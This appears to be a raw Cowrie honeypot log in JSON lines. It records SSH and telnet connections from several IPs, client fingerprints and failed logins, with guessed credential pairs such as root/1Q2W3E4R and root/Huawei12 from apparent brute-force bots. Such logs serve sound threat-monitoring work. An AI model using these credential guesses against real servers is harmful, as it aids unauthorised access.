{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:01.652871Z","src_ip":"45.156.87.204","session":"e180401a9031","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58632,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf704d04bcec","protocol":"ssh","message":"New connection: 45.156.87.204:58632 (159.203.135.109:22) [session: cf704d04bcec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:04.695209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:04.700520Z","src_ip":"45.156.87.204","session":"cf704d04bcec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:04.783190Z","src_ip":"45.156.87.204","session":"cf704d04bcec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:05.035131Z","src_ip":"45.156.87.204","session":"cf704d04bcec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:06.123790Z","src_ip":"45.156.87.204","session":"cf704d04bcec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58642,"dst_ip":"159.203.135.109","dst_port":22,"session":"3216ec6ccba5","protocol":"ssh","message":"New connection: 45.156.87.204:58642 (159.203.135.109:22) [session: 3216ec6ccba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:08.291718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:08.296365Z","src_ip":"45.156.87.204","session":"3216ec6ccba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:08.378818Z","src_ip":"45.156.87.204","session":"3216ec6ccba5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2W3E4R","message":"login attempt [root/1Q2W3E4R] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:08.627075Z","src_ip":"45.156.87.204","session":"3216ec6ccba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:09.712596Z","src_ip":"45.156.87.204","session":"3216ec6ccba5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58646,"dst_ip":"159.203.135.109","dst_port":22,"session":"d13e5e63519e","protocol":"ssh","message":"New connection: 45.156.87.204:58646 (159.203.135.109:22) [session: d13e5e63519e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.181967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.186702Z","src_ip":"45.156.87.204","session":"d13e5e63519e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.270383Z","src_ip":"45.156.87.204","session":"d13e5e63519e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nova","password":"nova","message":"login attempt [nova/nova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.536832Z","src_ip":"45.156.87.204","session":"d13e5e63519e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52042,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61eb9dc9b34","protocol":"ssh","message":"New connection: 109.237.96.109:52042 (10.17.0.5:22) [session: e61eb9dc9b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.651035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.722633Z","src_ip":"109.237.96.109","session":"e61eb9dc9b34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:12.812545Z","src_ip":"109.237.96.109","session":"e61eb9dc9b34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"161616","message":"login attempt [root/161616] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:13.082673Z","src_ip":"109.237.96.109","session":"e61eb9dc9b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:13.622946Z","src_ip":"45.156.87.204","session":"d13e5e63519e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:14.175124Z","src_ip":"109.237.96.109","session":"e61eb9dc9b34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.821521282196045,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:14.688327Z","src_ip":"152.42.224.71","session":"39eff746cfe5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":60734,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b27bf7e0df5","protocol":"ssh","message":"New connection: 83.111.76.195:60734 (159.203.135.109:22) [session: 3b27bf7e0df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.171762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.177112Z","src_ip":"83.111.76.195","session":"3b27bf7e0df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.383797Z","src_ip":"83.111.76.195","session":"3b27bf7e0df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":95.84328079223633,"message":"Connection lost after 95 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.714993Z","src_ip":"152.42.224.71","session":"6d03a1833253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37346,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf9c5497ebd6","protocol":"ssh","message":"New connection: 45.156.87.204:37346 (159.203.135.109:22) [session: cf9c5497ebd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.726094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.731302Z","src_ip":"45.156.87.204","session":"cf9c5497ebd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:15.813465Z","src_ip":"45.156.87.204","session":"cf9c5497ebd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cowrie","password":"cowrie","message":"login attempt [cowrie/cowrie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:16.065334Z","src_ip":"45.156.87.204","session":"cf9c5497ebd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"37a9acb90754","protocol":"telnet","message":"New connection: 152.42.224.71:56478 (10.17.0.5:23) [session: 37a9acb90754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:16.116286Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2026","message":"login attempt [ubuntu/Ubuntu@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:16.244197Z","src_ip":"83.111.76.195","session":"3b27bf7e0df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":53354,"dst_ip":"10.17.0.5","dst_port":22,"session":"17f25a85b704","protocol":"ssh","message":"New connection: 103.153.68.219:53354 (10.17.0.5:22) [session: 17f25a85b704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:16.988574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:16.994520Z","src_ip":"103.153.68.219","session":"17f25a85b704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:17.149885Z","src_ip":"45.156.87.204","session":"cf9c5497ebd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:17.244041Z","src_ip":"103.153.68.219","session":"17f25a85b704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:17.459346Z","src_ip":"83.111.76.195","session":"3b27bf7e0df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19901990","message":"login attempt [root/19901990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:18.002931Z","src_ip":"103.153.68.219","session":"17f25a85b704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56480,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef7118e24c51","protocol":"telnet","message":"New connection: 152.42.224.71:56480 (10.17.0.5:23) [session: ef7118e24c51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:18.749552Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:19.255062Z","src_ip":"103.153.68.219","session":"17f25a85b704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":37350,"dst_ip":"159.203.135.109","dst_port":22,"session":"956071628f9f","protocol":"ssh","message":"New connection: 45.156.87.204:37350 (159.203.135.109:22) [session: 956071628f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:19.311846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:19.317095Z","src_ip":"45.156.87.204","session":"956071628f9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:19.477676Z","src_ip":"45.156.87.204","session":"956071628f9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:19.910984Z","src_ip":"45.156.87.204","session":"956071628f9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:20.995522Z","src_ip":"45.156.87.204","session":"956071628f9f","protocol":"ssh"}
